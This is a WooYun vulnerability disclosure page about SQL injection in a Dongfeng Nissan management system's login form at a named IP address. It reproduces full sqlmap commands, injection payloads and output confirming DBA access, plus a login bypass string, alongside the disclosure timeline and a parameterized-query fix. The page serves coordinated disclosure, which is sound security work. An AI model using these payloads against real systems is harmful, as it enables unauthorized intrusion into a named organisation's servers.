当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146305

漏洞标题:东风日产某管理系统存在注入

相关厂商:东风日产乘用车公司

漏洞作者: 路人甲

提交时间:2015-10-13 10:41

修复时间:2015-11-27 11:28

公开时间:2015-11-27 11:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-13: 细节已通知厂商并且等待厂商处理中
2015-10-13: 厂商已经确认,细节仅向厂商公开
2015-10-23: 细节向核心白帽子及相关领域专家公开
2015-11-02: 细节向普通白帽子公开
2015-11-12: 细节向实习白帽子公开
2015-11-27: 细节向公众公开

简要描述:

注入

详细说明:

http://210.21.81.169/


该站登陆入口存在注入:

$ python sqlmap.py -u "http://210.21.81.169/Login.aspx" --data "__VIEWSTATE=%2FwEPDwULLTIwNDA0NjczMTlkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjHMVKPqLqq%2FjUdLrlLk%2FI4hXCdaLg%3D%3D&t_username=admin*&t_password=123456&ImageButton1.x=45&ImageButton1.y=17" --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-fb5a75c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:10:27
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[16:10:28] [INFO] resuming back-end DBMS 'microsoft sql server unknown'
[16:10:28] [INFO] testing connection to the target URL
[16:10:29] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwULLTIwNDA0NjczMTlkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjHMVKPqLqq/jUdLrlLk/I4hXCdaLg==&t_username=admin' AND 3384=3384 AND 'LhAt'='LhAt&t_password=123456&ImageButton1.x=45&ImageButton1.y=17
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwULLTIwNDA0NjczMTlkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjHMVKPqLqq/jUdLrlLk/I4hXCdaLg==&t_username=admin' AND 2324=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (2324=2324) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(112)+CHAR(107)+CHAR(113))) AND 'mOVY'='mOVY&t_password=123456&ImageButton1.x=45&ImageButton1.y=17
---
[16:10:29] [INFO] testing Microsoft SQL Server
[16:10:29] [INFO] confirming Microsoft SQL Server
[16:10:29] [WARNING] reflective value(s) found and filtering out
[16:10:30] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server Unknown
[16:10:30] [INFO] testing if current user is DBA
current user is DBA: True
[16:10:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 6 times
[16:10:30] [INFO] fetched data logged to text files under '/Users/king/.sqlmap/output/210.21.81.169'
[*] shutting down at 16:10:30


可以用

admin' or 1=1 --

密码

123456

来登录:

123.png


1234.png

漏洞证明:

如上
DBA权限,希望引起重视

修复方案:

参数化查询

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-13 11:26

厂商回复:

感谢关注!

最新状态:

暂无